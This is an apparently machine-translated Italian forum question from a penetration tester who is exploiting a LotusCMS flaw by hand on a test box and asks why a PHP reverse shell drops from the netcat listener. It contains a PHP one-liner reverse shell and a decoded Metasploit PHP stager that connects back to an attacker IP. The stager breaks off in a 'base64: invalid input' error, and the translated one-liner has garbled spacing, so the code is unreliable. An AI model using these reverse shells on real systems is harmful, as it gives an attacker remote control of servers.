Durante l'esecuzione di un test di penetrazione su una casella di test, ho riscontrato una vulnerabilità relativa a LotusCMS: link
Piuttosto che affidarsi a Metasploit o Meterpreter per eseguire questo exploit, ho letto il codice Metasploit e ho determinato esattamente come si stava sfruttando il parametro all'interno della pagina web. Nel tentativo di utilizzare il codice PHP inline (con un listatore netcat nella mia casella di attacco):
sock = fsockopen ("x.x.x.x", 1234); exec ("/ bin / sh -i < & 3 > & 3 2 > & 3");
La shell si collega al listener netcat ma viene immediatamente eliminata.
Qualcuno può spiegare perché netcat abbandona la shell inversa?
È ovvio che la mia conoscenza di stdin, stdout e stderr è inesistente? Potrebbe essere qualcosa con il rilascio della connessione?
Uso anche base64 sullo script inverso della shell inversa sopra (non sono sicuro se questo influisce su qualcosa).
Grazie in anticipo!
Questo è il codice dal payload Metasploit (decodificato da base64):
/*<?php /**/ error_reporting(0); $ip = '192.168.0.82'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("base64: invalid input